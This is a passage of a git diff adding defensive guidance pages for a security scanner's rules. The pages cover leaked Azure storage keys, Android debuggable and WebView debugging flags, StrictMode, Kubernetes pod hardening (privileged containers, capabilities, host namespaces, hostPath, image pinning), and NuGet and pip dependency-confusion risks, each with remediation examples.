+permissions: + contents: read + id-token: write +``` + +For local development, use an environment variable loaded from an ignored file, so the value never +enters the working tree: + +``` javascript +const token = process.env.GITHUB_TOKEN; +``` + +Enable push protection on the repository so the next one is blocked before it is committed. + +## Severity Considerations + +Reported as critical. It is more serious again for a public repository, where automated scraping +makes exploitation near-immediate, and for tokens that can publish packages or modify +infrastructure. A revoked token left in source is still worth removing, since it invites confusion +during an incident. + +## References + +* [GitHub: about secret scanning and push protection](https://docs.github.com/code-security/secret-scanning/about-secret-scanning) +* [Azure: DefaultAzureCredential](https://learn.microsoft.com/dotnet/azure/sdk/authentication/credential-chains) +* [GitHub Actions: OIDC hardening](https://docs.github.com/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect) +* [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html) diff --git a/guidance/DS173240.md b/guidance/DS173240.md new file mode 100644 index 00000000..98ceea6d --- /dev/null +++ b/guidance/DS173240.md @@ -0,0 +1,72 @@ +# Azure Storage Account Key Committed to Source + +## Summary + +* A storage connection string containing `AccountKey`, or a shared access signature, is present in + source. +* Use a managed identity with `DefaultAzureCredential`. Where a key is unavoidable, keep it in Key + Vault and read it at runtime. + +## Details + +An Azure Storage account key is the most privileged credential the account has. It is not scoped in +any way: it grants full control of every container, blob, queue, table and file share in the +account, including deleting all of them. It also allows minting shared access signatures, so +possession of the key means possession of every SAS that could ever be derived from it. + +Two properties make a leaked key particularly awkward: + +* **It cannot be revoked individually.** There are only two keys per account, and containing a leak + means rotating one and updating every consumer, which is a coordinated change rather than a quick + fix. +* **It does not expire.** Unlike a token, it stays valid until someone rotates it, so a key leaked + years ago in git history is still live today unless it was deliberately rotated. + +A shared access signature is narrower but still a bearer credential: anyone holding the URL has +whatever access it encodes, until it expires. Committed SAS URLs are frequently long-lived, and the +`sig` component is the credential, so redacting the account name does not help. + +## Solution + +Prefer an identity, so there is no key to leak: + +``` csharp +var client = new BlobServiceClient( + new Uri("https://contoso.blob.core.windows.net"), + new DefaultAzureCredential()); +``` + +Grant it the narrowest role that works, such as Storage Blob Data Reader, rather than an account key +equivalent. This also gives per-identity audit records, which an account key cannot provide because +every caller looks the same. + +Where a key genuinely cannot be avoided, keep it in Key Vault: + +``` csharp +var secrets = new SecretClient(new Uri(keyVaultUri), new DefaultAzureCredential()); +string connectionString = (await secrets.GetSecretAsync("storage-connection")).Value.Value; +``` + +If a SAS is required, generate it at runtime with a short expiry and the minimum permissions, and +prefer a user delegation SAS, which is signed with Entra credentials and can be revoked without +rotating the account key. + +If a key has been committed, rotate it. Consider disabling shared key access on the account +afterwards so the class of problem cannot recur: + +``` bash +az storage account update --name contoso --allow-shared-key-access false +``` + +## Severity Considerations + +Reported as critical, because the credential is unscoped and long-lived. An account key is more +serious than a SAS; among SAS findings, raise the severity for a long expiry, broad permissions, or +an account holding customer data. + +## References + +* [Azure Storage: authorize access with Entra ID](https://learn.microsoft.com/azure/storage/blobs/authorize-access-azure-active-directory) +* [Azure Storage: prevent shared key authorization](https://learn.microsoft.com/azure/storage/common/shared-key-authorization-prevent) +* [Azure Storage: grant limited access using SAS](https://learn.microsoft.com/azure/storage/common/storage-sas-overview) +* [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html) diff --git a/guidance/DS180000.md b/guidance/DS180000.md new file mode 100644 index 00000000..b8417ace --- /dev/null +++ b/guidance/DS180000.md @@ -0,0 +1,72 @@ +# Android Debuggable Flag Enabled + +## Summary + +* The `android:debuggable` attribute is set to `true` in the application manifest. +* Set `android:debuggable` to `false`, or remove the attribute entirely, before shipping a release build. + +## Details + +`android:debuggable` controls whether the application can be debugged on a device, including on +devices running a production build of the operating system. When it is enabled: + +* Any user with USB debugging access can attach a debugger to the process, read and modify memory, + and step through application code. +* Other applications holding the `RUN_INSTRUMENTATION` permission can interact with the process. +* Application private data under `/data/data/` becomes reachable via `run-as`, even on + devices that are not rooted. + +This turns a signed release artifact into one that leaks its own runtime state and any secrets it +holds in memory, and it undermines integrity checks that assume the process cannot be tampered with. + +The attribute is not needed for day-to-day development. The Android build tooling injects +`android:debuggable="true"` automatically for debug builds, so declaring it in `AndroidManifest.xml` +affects release builds as well and is almost always unintended. + +## Solution + +Remove the attribute from `AndroidManifest.xml`: + +``` xml + + +``` + +If it must be present, set it explicitly to `false`: + +``` xml + + +``` + +Let the build system control the flag instead. In Gradle, the `debuggable` setting on a build type +applies the attribute only to that build type: + +``` groovy +android { + buildTypes { + release { + debuggable false + } + debug { + debuggable true + } + } +} +``` + +## Severity Considerations + +Raise the severity when the application handles authentication material, payment data, or personal +data, since debugger access exposes that data in memory. A finding in a manifest that is only used +for local development builds, and is not part of the release variant, can be lowered. + +## References + +* [Android: `` manifest element](https://developer.android.com/guide/topics/manifest/application-element#debug) +* [Android: Configure build variants](https://developer.android.com/build/build-variants) +* [OWASP MASVS: Platform Interaction Requirements](https://mas.owasp.org/MASVS/) +* [OWASP MASTG: Testing whether the app is debuggable](https://mas.owasp.org/MASTG/tests/android/MASVS-RESILIENCE/MASTG-TEST-0222/) diff --git a/guidance/DS180001.md b/guidance/DS180001.md new file mode 100644 index 00000000..85f05947 --- /dev/null +++ b/guidance/DS180001.md @@ -0,0 +1,58 @@ +# WebView Contents Debugging Enabled + +## Summary + +* `WebView.setWebContentsDebuggingEnabled(true)` was detected. +* Enable WebView debugging only in debug builds, and gate the call on a build-type check. + +## Details + +`setWebContentsDebuggingEnabled(true)` exposes every `WebView` in the process to Chrome DevTools over +the Android Debug Bridge. The setting is process-wide rather than per-`WebView`, so a single call +enables inspection of all web content the application renders. + +With it enabled, anyone with ADB access to the device can: + +* Read the DOM, `localStorage`, `sessionStorage`, and cookies for loaded origins, including session + tokens held by an embedded sign-in flow. +* Execute arbitrary JavaScript in the page context, which reaches any interface exported through + `addJavascriptInterface`. +* Observe network requests issued by the `WebView`, including request headers. + +Unlike `android:debuggable`, this setting is independent of the manifest debuggable flag: it takes +effect in a release-signed, non-debuggable application. It therefore has to be controlled explicitly +in code. + +## Solution + +Gate the call so it only runs in debug builds: + +``` java +if (BuildConfig.DEBUG) { + WebView.setWebContentsDebuggingEnabled(true); +} +``` + +The equivalent check using the manifest flag, useful when `BuildConfig` is not available: + +``` java +if ((getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE) != 0) { + WebView.setWebContentsDebuggingEnabled(true); +} +``` + +Do not rely on stripping the call before release manually. Prefer a build-type check the compiler +and shrinker can evaluate, so the call is removed from release artifacts. + +## Severity Considerations + +Raise the severity when the `WebView` renders authenticated content, hosts a sign-in flow, or is +bridged to native code through `addJavascriptInterface`, because debugging access then reaches +credentials or native functionality. Lower it when the call is already inside a verified +debug-only branch. + +## References + +* [Android: `WebView.setWebContentsDebuggingEnabled`](https://developer.android.com/reference/android/webkit/WebView#setWebContentsDebuggingEnabled(boolean)) +* [Android: Remote debugging WebViews](https://developer.chrome.com/docs/devtools/remote-debugging/webviews) +* [OWASP MASTG: Testing WebView debugging](https://mas.owasp.org/MASTG/tests/android/MASVS-RESILIENCE/MASTG-TEST-0222/) diff --git a/guidance/DS180002.md b/guidance/DS180002.md new file mode 100644 index 00000000..6e9b3a5e --- /dev/null +++ b/guidance/DS180002.md @@ -0,0 +1,60 @@ +# Android StrictMode Policy Configured + +## Summary + +* A `StrictMode` thread or VM policy is being installed. +* `StrictMode` is a development-time diagnostic. Confirm the call is limited to debug builds. + +## Details + +`StrictMode.setThreadPolicy` and `StrictMode.setVmPolicy` install runtime policies that detect +accidental disk and network access on the main thread, leaked `Closeable` objects, leaked SQLite +cursors, and similar defects. The facility is intended for development, and the Android +documentation states it should not be enabled in release builds. + +Leaving it enabled in a shipped application has two consequences: + +* **Diagnostic disclosure.** Violations are written to the system log with stack traces and, for + some detectors, file paths and URIs. That output describes internal structure to anyone reading + logs on the device. +* **Availability risk.** A policy built with `penaltyDeath()` or `penaltyDeathOnNetwork()` terminates + the process when a violation is detected. A violation that only occurs on a slow device or an + unusual network path then becomes a crash for users rather than a log entry for a developer. + +`StrictMode` is not itself a vulnerability, which is why this rule is reported for manual review +rather than as a defect. The finding is asking you to confirm that the call cannot execute in a +release build. + +## Solution + +Gate the policy installation on the build type: + +``` java +if (BuildConfig.DEBUG) { + StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder() + .detectAll() + .penaltyLog() + .build()); + + StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder() + .detectLeakedClosableObjects() + .penaltyLog() + .build()); +} +``` + +Prefer `penaltyLog()` over `penaltyDeath()` so that a missed violation degrades into a log entry +rather than a process kill. If `penaltyDeath()` is used to enforce a policy during testing, keep it +strictly inside the debug branch. + +## Severity Considerations + +Raise the severity when the policy uses `penaltyDeath()` or `penaltyDeathOnNetwork()` and is not +inside a debug-only branch, since that is a direct availability risk. Lower it when the call is +already gated on `BuildConfig.DEBUG`. + +## References + +* [Android: `StrictMode`](https://developer.android.com/reference/android/os/StrictMode) +* [Android: `StrictMode.VmPolicy.Builder`](https://developer.android.com/reference/android/os/StrictMode.VmPolicy.Builder) +* [Android: Configure build variants](https://developer.android.com/build/build-variants) diff --git a/guidance/DS200000.md b/guidance/DS200000.md new file mode 100644 index 00000000..ec9ea430 --- /dev/null +++ b/guidance/DS200000.md @@ -0,0 +1,64 @@ +# Kubernetes Container Runs Privileged + +## Summary + +* A container sets `securityContext.privileged: true`. +* Remove it. Grant the specific Linux capabilities the workload needs instead. + +## Details + +A privileged container is not meaningfully isolated from the node. The container runtime disables +almost every boundary it would normally apply: all Linux capabilities are granted, seccomp and +AppArmor confinement is dropped, and every device under `/dev` on the host becomes accessible. + +The practical result is that code execution inside a privileged container is equivalent to code +execution on the node. Well-known consequences include mounting the host's root filesystem and +editing files on it, loading kernel modules, reading the memory of processes belonging to other +pods, and using the node's kubelet credentials to act against the cluster. If the node runs pods +belonging to other tenants or other trust levels, all of them are reachable. + +`privileged: true` is disallowed by both the Baseline and Restricted Pod Security Standards. + +## Solution + +Remove the setting and request only what is actually needed. Most workloads that reach for +`privileged` need one capability: + +``` yaml +securityContext: + privileged: false + allowPrivilegeEscalation: false + runAsNonRoot: true + runAsUser: 10001 + capabilities: + drop: + - ALL + add: + - NET_BIND_SERVICE +``` + +Enforce it at the namespace level so a future manifest cannot reintroduce it: + +``` yaml +apiVersion: v1 +kind: Namespace +metadata: + name: prod + labels: + pod-security.kubernetes.io/enforce: restricted +``` + +Where a node-level agent genuinely requires host access, such as a CNI plugin or a storage driver, +run it on a dedicated node pool with taints so it does not share a node with application workloads. + +## Severity Considerations + +This is reported as critical because it removes the isolation the rest of the cluster's security +model assumes. It is more serious again on a shared or multi-tenant cluster, where a container +escape reaches other tenants' workloads. + +## References + +* [Kubernetes: Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +* [Kubernetes: Configure a Security Context](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +* [CIS Kubernetes Benchmark on AKS](https://learn.microsoft.com/azure/aks/cis-kubernetes) diff --git a/guidance/DS200001.md b/guidance/DS200001.md new file mode 100644 index 00000000..8202ef6e --- /dev/null +++ b/guidance/DS200001.md @@ -0,0 +1,68 @@ +# Kubernetes Container Allows Privilege Escalation + +## Summary + +* A container does not set `allowPrivilegeEscalation` to `false`, either because it is `true` or + because the field is omitted and Kubernetes defaults it to `true`. +* Set it to `false`. The Restricted Pod Security Standard requires this. + +## Details + +`allowPrivilegeEscalation` controls the `no_new_privs` flag on the container process. When it is +true, a process can end up with more privileges than the process that started it, through: + +* **setuid and setgid binaries.** A binary in the image owned by root with the setuid bit set will + run as root even though the container started as an unprivileged user. +* **file capabilities.** A binary carrying capabilities in its extended attributes gains them on + exec, regardless of the calling process's own set. + +This matters most in exactly the case where the other controls appear to have been applied. A +container running as uid 10001 with a dropped capability set looks constrained, but if the image +contains a setuid root binary, an attacker with code execution can still become root inside the +container and then attack whatever the container can reach. + +Note that setting `privileged: true` forces `allowPrivilegeEscalation` to true regardless of what +you write here. + +### What this rule can and cannot tell you + +An explicit value other than `false` is reported on the container that sets it, regardless of the +other containers in the file. An omitted field is reported against each container, but the engine +can only evaluate that omission over the whole file, so it is not reported once any container in +the manifest sets `allowPrivilegeEscalation`. Treat a clean result as "every container that sets the +flag sets it to `false`", not as proof that every container sets it. + +## Solution + +``` yaml +securityContext: + allowPrivilegeEscalation: false + runAsNonRoot: true + runAsUser: 10001 + capabilities: + drop: + - ALL +``` + +Combine it with a seccomp profile, which the Restricted standard also requires: + +``` yaml +securityContext: + seccompProfile: + type: RuntimeDefault +``` + +Enforce the Restricted profile at the namespace level rather than relying on each manifest to set +the field correctly. + +## Severity Considerations + +Raise the severity when the image is built from a general-purpose base image, since those commonly +carry setuid binaries such as `mount`, `su` and `ping`. A distroless or scratch image with no setuid +binaries reduces, but does not remove, the concern. + +## References + +* [Kubernetes: Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +* [Kubernetes: Set the security context for a container](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +* [Linux: `no_new_privs`](https://docs.kernel.org/userspace-api/no_new_privs.html) diff --git a/guidance/DS200002.md b/guidance/DS200002.md new file mode 100644 index 00000000..241b6288 --- /dev/null +++ b/guidance/DS200002.md @@ -0,0 +1,70 @@ +# Kubernetes Pod Shares a Host Namespace + +## Summary + +* The pod sets `hostPID`, `hostIPC` or `hostNetwork` to `true`. +* Remove the setting. All three are disallowed by the Baseline and Restricted Pod Security + Standards. + +## Details + +Each of these places the pod in a namespace belonging to the node rather than one of its own, which +removes a specific isolation boundary: + +* **`hostPID`** makes every process on the node visible in the container's `/proc`. Process + arguments are world-readable, so any secret passed on a command line by any workload on that node + is exposed. With `SYS_PTRACE` it also allows attaching to those processes and reading their + memory. +* **`hostIPC`** shares the node's System V IPC and POSIX shared memory, including `/dev/shm`. A pod + can then read or corrupt shared memory segments belonging to the host or to other pods. +* **`hostNetwork`** puts the pod directly on the node's network stack. It can bind privileged host + ports, observe traffic, reach services bound to the node's loopback interface, and bypass + NetworkPolicy entirely, since policy is applied to pod network namespaces. + +`hostNetwork` also grants reachability to the cloud instance metadata endpoint from the node's +perspective, which is a common route to node credentials. + +## Solution + +Remove the fields. They default to false: + +``` yaml +apiVersion: v1 +kind: Pod +spec: + hostPID: false + hostIPC: false + hostNetwork: false + containers: + - name: app + image: contoso/app@sha256:0123456789abcdef +``` + +To expose a service, use a Service object rather than `hostNetwork`: + +``` yaml +apiVersion: v1 +kind: Service +spec: + selector: + app: demo + ports: + - port: 443 + targetPort: 8443 +``` + +Some node-level agents, such as monitoring and CNI components, do legitimately need these. Restrict +them to trusted DaemonSets and schedule them onto a dedicated node pool, so a compromise of one does +not sit alongside application workloads. + +## Severity Considerations + +`hostPID` is the most immediately exploitable of the three, because reading other workloads' +command lines requires no additional privilege. Raise the severity on any shared or multi-tenant +cluster. + +## References + +* [Kubernetes: Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +* [Kubernetes: Share namespaces between containers in a Pod](https://kubernetes.io/docs/tasks/configure-pod-container/share-process-namespace/) +* [CIS Kubernetes Benchmark on AKS](https://learn.microsoft.com/azure/aks/cis-kubernetes) diff --git a/guidance/DS200003.md b/guidance/DS200003.md new file mode 100644 index 00000000..d496ea7b --- /dev/null +++ b/guidance/DS200003.md @@ -0,0 +1,64 @@ +# Kubernetes Container Root Filesystem Is Writable + +## Summary + +* A container sets `readOnlyRootFilesystem: false`. +* Set it to `true` and mount writable volumes only where they are needed. + +## Details + +With a writable root filesystem, an attacker who achieves code execution in the container can modify +the running image. That converts a transient foothold into a more durable and more capable one: + +* replacing or shadowing a binary on `PATH`, so the next invocation runs attacker code, +* writing a payload to disk and executing it, which many post-exploitation tools require, +* editing configuration the application reads at runtime, such as trust stores or endpoint lists, +* dropping files to stage data before exfiltration. + +A read-only root filesystem does not prevent code execution, but it removes the write primitive that +most tooling assumes, and it makes the container's contents match the image that was scanned and +signed. It also surfaces accidental state: an application that writes to its own image directory is +usually doing something that will not survive a restart anyway. + +## Solution + +Set the flag and provide explicit writable mounts: + +``` yaml +containers: + - name: app + image: contoso/app@sha256:0123456789abcdef + securityContext: + readOnlyRootFilesystem: true + allowPrivilegeEscalation: false + runAsNonRoot: true + runAsUser: 10001 + volumeMounts: + - name: tmp + mountPath: /tmp + - name: cache + mountPath: /var/cache/app +volumes: + - name: tmp + emptyDir: {} + - name: cache + emptyDir: {} +``` + +Most workloads need only `/tmp`. If the application writes elsewhere, prefer changing it to write +under a mounted path rather than relaxing the filesystem. + +Note that `emptyDir` is still writable and still shares the node's disk. Set `sizeLimit` if the +volume holds anything unbounded, such as logs. + +## Severity Considerations + +Reported at moderate because it is a hardening control rather than a vulnerability on its own. Raise +it for internet-facing workloads and for any container that processes untrusted input, where the +chance of reaching code execution is higher. + +## References + +* [Kubernetes: Configure a Security Context](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +* [Kubernetes: Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +* [Azure Policy for AKS built-in definitions](https://learn.microsoft.com/azure/aks/policy-reference) diff --git a/guidance/DS200004.md b/guidance/DS200004.md new file mode 100644 index 00000000..590d6384 --- /dev/null +++ b/guidance/DS200004.md @@ -0,0 +1,58 @@ +# Kubernetes Container May Run as Root + +## Summary + +* A container or pod sets `runAsNonRoot: false`. +* Set `runAsNonRoot: true` and give `runAsUser` a high, non-zero uid such as 10001. + +## Details + +`runAsNonRoot: false` allows the container to run as uid 0. Root inside a container is not root on +the node, but it is considerably more dangerous than an unprivileged uid: + +* **Container escapes usually require it.** Most known escape techniques, and most abuse of an + added capability, assume uid 0 inside the container. Running unprivileged removes a precondition. +* **Mounted host content becomes writable.** If any `hostPath`, or a volume shared with another + pod, contains root-owned files, a root container can modify them. A non-zero uid is stopped by + ordinary file permissions. +* **Secrets and volumes are readable regardless of mode.** Root ignores the file mode on projected + secret volumes. + +Setting `runAsNonRoot: true` also fails the pod at admission time if the image's default user is +root, which surfaces the problem at deploy rather than leaving it to be discovered later. + +## Solution + +Set both fields, so that the uid does not depend on the image's default: + +``` yaml +securityContext: + runAsNonRoot: true + runAsUser: 10001 + runAsGroup: 10001 + fsGroup: 10001 + allowPrivilegeEscalation: false +``` + +Make the image match, so the container does not depend on the manifest alone: + +``` dockerfile +RUN adduser --system --uid 10001 --group app +USER 10001 +``` + +`fsGroup` sets group ownership on mounted volumes, which is how a non-root container gets write +access to a PersistentVolume without needing root. + +For a workload that must bind a port below 1024, add `NET_BIND_SERVICE` rather than running as root, +or listen on a high port and map it in the Service. + +## Severity Considerations + +Raise the severity when the pod also mounts a hostPath, shares a volume with another workload, or +adds any capability, since running as root makes each of those materially worse. + +## References + +* [Kubernetes: Configure a Security Context](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +* [Kubernetes: Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) diff --git a/guidance/DS200005.md b/guidance/DS200005.md new file mode 100644 index 00000000..27100168 --- /dev/null +++ b/guidance/DS200005.md @@ -0,0 +1,73 @@ +# Kubernetes Container Image Is Unpinned + +## Summary + +* A container image is tagged `latest`, or carries no tag at all. +* Pin the image by digest, for example `image: contoso/app@sha256:...`. + +## Details + +Tags are mutable references. `contoso/app:latest` and `contoso/app` (which means `:latest`) name +whatever the registry currently points that tag at, so the bytes that run are decided at pull time +rather than at review time. Two consequences follow. + +**Verification does not carry over.** An image that was scanned, signed and approved was a specific +digest. If the tag is later repointed, the running workload is no longer the artifact that was +verified, and nothing in the manifest records that. Signature verification of a mutable tag proves +only that some version was signed at some point. + +**A registry compromise becomes a deployment.** An attacker who can push to the registry, or who +takes over an abandoned namespace on a public one, can repoint the tag. Every pod that restarts or +scales up then pulls their image. No change to your cluster or your manifests is required. + +There is an operational cost too: nodes that pulled at different times run different code, which +makes an incident hard to reason about, and rollback does not reliably return you to what was +running before. + +## Solution + +Reference the digest: + +``` yaml +containers: + - name: app + image: contoso.azurecr.io/app@sha256:9f2c1e0a1b8e4d3c5f6a7b8c9d0e1f2a3b4c5d6e7f8091a2b3c4d5e6f7081920 + imagePullPolicy: IfNotPresent +``` + +Let the deployment pipeline substitute the digest it just built and verified, so the manifest in +source control always names the artifact that was tested. + +Combine this with signature verification at admission, so that an unsigned or unexpected digest is +rejected by the cluster rather than by convention. Enforce that with an admission policy, for +example a Sigstore policy controller: + +``` yaml +apiVersion: policy.sigstore.dev/v1beta1 +kind: ClusterImagePolicy +metadata: + name: require-signed-images +spec: + images: + - glob: "contoso.azurecr.io/**" + authorities: + - keyless: + identities: + - issuer: https://token.actions.githubusercontent.com + subject: https://github.com/contoso/app/.github/workflows/release.yml@refs/heads/main +``` + +`imagePullPolicy: Always` is not a substitute. It makes the drift happen sooner rather than +preventing it. + +## Severity Considerations + +Raise the severity for images from public registries, which are the most exposed to tag +repointing and namespace takeover. An image pulled by digest from a private registry with immutable +tags enabled is the intended end state. + +## References + +* [Kubernetes: Images](https://kubernetes.io/docs/concepts/containers/images/) +* [OCI: image manifest and digests](https://github.com/opencontainers/image-spec/blob/main/descriptor.md) +* [Azure Container Registry: image tag best practices](https://learn.microsoft.com/azure/container-registry/container-registry-image-tag-version) diff --git a/guidance/DS200006.md b/guidance/DS200006.md new file mode 100644 index 00000000..3b82cc64 --- /dev/null +++ b/guidance/DS200006.md @@ -0,0 +1,69 @@ +# Kubernetes Container Adds a Dangerous Capability + +## Summary + +* A container adds `SYS_ADMIN`, `SYS_PTRACE`, `SYS_MODULE`, `NET_RAW`, or `ALL` to its capability + set. +* Drop `ALL` and add back only the minimum the workload needs. + +## Details + +Linux capabilities split root's powers into separate privileges, but they are not equally sized. The +ones reported here each approach full privilege on their own: + +* **`SYS_ADMIN`** is frequently described as the new root. It permits `mount`, cgroup manipulation, + and namespace operations, and is the capability most container escapes are built on. Adding it is + close to `privileged: true` in effect. +* **`SYS_MODULE`** loads kernel modules. A module runs in kernel context on the node, so this is a + complete escape by design rather than by exploit. +* **`SYS_PTRACE`** attaches to other processes and reads their memory. Combined with `hostPID` it + reaches processes belonging to other pods and to the node. +* **`NET_RAW`** creates raw sockets, which allows ARP and DNS spoofing against other pods on the + same node and lets a compromised container intercept traffic it should not see. It is granted by + default by many runtimes, which is one reason to drop `ALL` explicitly. +* **`ALL`** grants every capability, including the four above. + +The Restricted Pod Security Standard requires dropping `ALL` and permits adding back only +`NET_BIND_SERVICE`. + +## Solution + +Start from nothing and add only what is required: + +``` yaml +securityContext: + capabilities: + drop: + - ALL + add: + - NET_BIND_SERVICE + allowPrivilegeEscalation: false + runAsNonRoot: true + runAsUser: 10001 +``` + +Most workloads need no capabilities at all: + +``` yaml +securityContext: + capabilities: + drop: + - ALL +``` + +If a debugging workflow needs `SYS_PTRACE`, use an ephemeral debug container scoped to a single +troubleshooting session rather than adding the capability to the deployed workload. If a workload +appears to need `SYS_ADMIN`, the requirement is usually a specific mount or device, which is better +solved with a volume or a device plugin. + +## Severity Considerations + +`SYS_ADMIN` and `SYS_MODULE` warrant treating the finding as equivalent to a privileged container. +`NET_RAW` is lower on a single-tenant cluster but significant where pods of differing trust share a +node. + +## References + +* [Linux: `capabilities(7)`](https://man7.org/linux/man-pages/man7/capabilities.7.html) +* [Kubernetes: Set capabilities for a container](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/#set-capabilities-for-a-container) +* [Kubernetes: Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) diff --git a/guidance/DS200007.md b/guidance/DS200007.md new file mode 100644 index 00000000..385a2f31 --- /dev/null +++ b/guidance/DS200007.md @@ -0,0 +1,83 @@ +# Kubernetes Pod Mounts a Host Path + +## Summary + +* The pod declares a `hostPath` volume. +* Prefer a `ConfigMap`, `Secret`, `emptyDir` or `PersistentVolumeClaim`. Where a host path is + genuinely required, restrict which paths are allowed by policy. + +## Details + +A `hostPath` volume mounts a file or directory from the node's filesystem directly into the pod, +which crosses the isolation boundary that the rest of the pod's security context maintains. What it +grants depends entirely on the path: + +* **Writable system paths** such as `/usr/bin`, `/etc` or `/var/lib/kubelet` let a container modify + the node. Writing a binary that another workload or the node itself executes is a straightforward + escalation, and the change persists after the pod is gone. +* **The container runtime socket**, `/var/run/docker.sock` or `/run/containerd/containerd.sock`, is + equivalent to root on the node. A container holding it can start another container with any + configuration, including a privileged one that mounts the host root. +* **Read-only sensitive paths** still disclose data: `/etc/shadow`, cloud provider credential files, + and kubelet configuration containing certificates. +* **`/proc` and `/sys`** expose kernel and process state from the node. + +This is reported for manual review rather than as a defect, because a hostPath is legitimate for +node-level agents. The question is whether this workload is one, and whether the specific path is +the narrowest that works. + +## Solution + +For configuration and credentials, use the Kubernetes abstractions: + +``` yaml +volumes: + - name: config + configMap: + name: app-config + - name: credentials + secret: + secretName: app-credentials +``` + +For scratch space, use an `emptyDir`, which is per-pod and removed with the pod: + +``` yaml +volumes: + - name: tmp + emptyDir: + sizeLimit: 256Mi +``` + +For durable storage, use a `PersistentVolumeClaim` so the storage layer, not the node's filesystem, +provides isolation. + +Where a host path is unavoidable, make it as narrow and as read-only as possible, and constrain it +with an allowed-paths policy so that a future manifest cannot widen it: + +``` yaml +volumes: + - name: varlog + hostPath: + path: /var/log/containers + type: Directory +volumeMounts: + - name: varlog + mountPath: /var/log/containers + readOnly: true +``` + +Never mount the container runtime socket into a workload. If a component needs to inspect +containers, use the Kubernetes API with a scoped ServiceAccount. + +## Severity Considerations + +Raise the severity sharply for a runtime socket, for any path under `/etc`, `/usr` or +`/var/lib/kubelet`, and for any host mount that is not `readOnly`. A read-only mount of a narrow log +directory by a monitoring DaemonSet is the intended use. + +## References + +* [Kubernetes: `hostPath` volumes](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath) +* [Kubernetes: Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +* [CIS Kubernetes Benchmark on AKS](https://learn.microsoft.com/azure/aks/cis-kubernetes) diff --git a/guidance/DS205000.md b/guidance/DS205000.md new file mode 100644 index 00000000..9fd139e5 --- /dev/null +++ b/guidance/DS205000.md @@ -0,0 +1,70 @@ +# Package Source Is Not Restricted to an Approved Feed + +## Summary + +* A `` section declares sources without a `` element. +* Add `` as the first child so that only the sources in this file are used. + +## Details + +NuGet builds its source list by combining every `NuGet.config` it finds, walking from the drive root +down to the project directory and including the machine-level and user-level files. Without +``, the sources declared here are *added* to whatever those files contain rather than +replacing them. + +Two problems follow: + +* **The effective source list is not what the file says.** A build on a developer machine, a + self-hosted agent, and a hosted agent can each resolve packages from a different set of feeds. The + file that was reviewed does not describe what actually happens. +* **Package substitution becomes possible.** When a package name is available from more than one + source, NuGet may take the highest version rather than preferring the internal feed. An attacker + who publishes a package with an internal name and a higher version number on a public registry can + have it restored instead of the real one. This is the dependency confusion pattern, and having + more than one source configured is its precondition. + +ADM.10205 addresses both by requiring dependencies to come only from approved repositories, and by +recommending a single internal source, since package managers behave inconsistently and sometimes +non-deterministically when several are configured. + +## Solution + +Clear inherited sources, then declare exactly the feed you intend to use: + +``` xml + + + + + + + +``` + +Configure public packages as an **upstream source** on that Azure Artifacts feed rather than adding +nuget.org as a second source. Upstream sources save the first version of a package they see, so an +internal name cannot later be shadowed by a public package of the same name. + +Where more than one source genuinely cannot be avoided, add `` so each package +pattern resolves from exactly one source: + +``` xml + + + + + +``` + +## Severity Considerations + +Raise the severity when the project consumes internal packages, since those are the names a public +registry can be used to shadow. A repository that builds only against public packages is a lower +concern, though `` still makes the build reproducible. + +## References + +* [NuGet: `NuGet.config` reference](https://learn.microsoft.com/nuget/reference/nuget-config-file) +* [NuGet: Package source mapping](https://learn.microsoft.com/nuget/consume-packages/package-source-mapping) +* [Azure Artifacts: upstream sources](https://learn.microsoft.com/azure/devops/artifacts/concepts/upstream-sources) +* [Microsoft: 3 Ways to Mitigate Risk When Using Private Package Feeds](https://azure.microsoft.com/resources/3-ways-to-mitigate-risk-using-private-package-feeds/) diff --git a/guidance/DS205001.md b/guidance/DS205001.md new file mode 100644 index 00000000..66f0106b --- /dev/null +++ b/guidance/DS205001.md @@ -0,0 +1,64 @@ +# Additional Package Index Configured + +## Summary + +* `--extra-index-url` or `PIP_EXTRA_INDEX_URL` was detected. +* ADM.10205 states these must not be used. Use a single `--index-url` and configure public packages + as an upstream on that feed. + +## Details + +pip does not rank indexes. Every index given with `--extra-index-url` is searched with the same +priority as the primary one, and pip installs the highest version it finds anywhere. + +That makes the flag a dependency confusion primitive. If your private index hosts +`contoso-internal 1.4.0`, an attacker who registers `contoso-internal` on PyPI and publishes version +`99.0.0` will have their package installed instead, on the next build, with no change to your +requirements file. The name only has to be guessable, and internal package names routinely appear in +error messages, documentation and job logs. + +The same reasoning applies to `PIP_EXTRA_INDEX_URL`, which sets the option through the environment +and so is easy to introduce in a pipeline definition or a container image without it appearing in +any requirements file. + +## Solution + +Point pip at one index: + +``` bash +pip install --index-url https://pkgs.dev.azure.com/contoso/_packaging/feed/pypi/simple contoso-lib +``` + +Or set it once, for the whole environment: + +``` bash +export PIP_INDEX_URL=https://pkgs.dev.azure.com/contoso/_packaging/feed/pypi/simple +``` + +Then add `https://pypi.org` as an **upstream source** on that Azure Artifacts feed. Upstream sources +save the first version of a name they serve, so a public package cannot later take over an internal +name. + +Where packages genuinely must come from separate private indexes and upstreams are not available, +run separate install commands, one per index, rather than making them all available to a single +resolution. + +Additional hardening worth applying at the same time: pin exact versions and record hashes, so a +substituted artifact fails to install: + +``` text +contoso-lib==1.4.0 \ + --hash=sha256:0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef +``` + +## Severity Considerations + +Raise the severity when the extra index is a public registry and the project also consumes 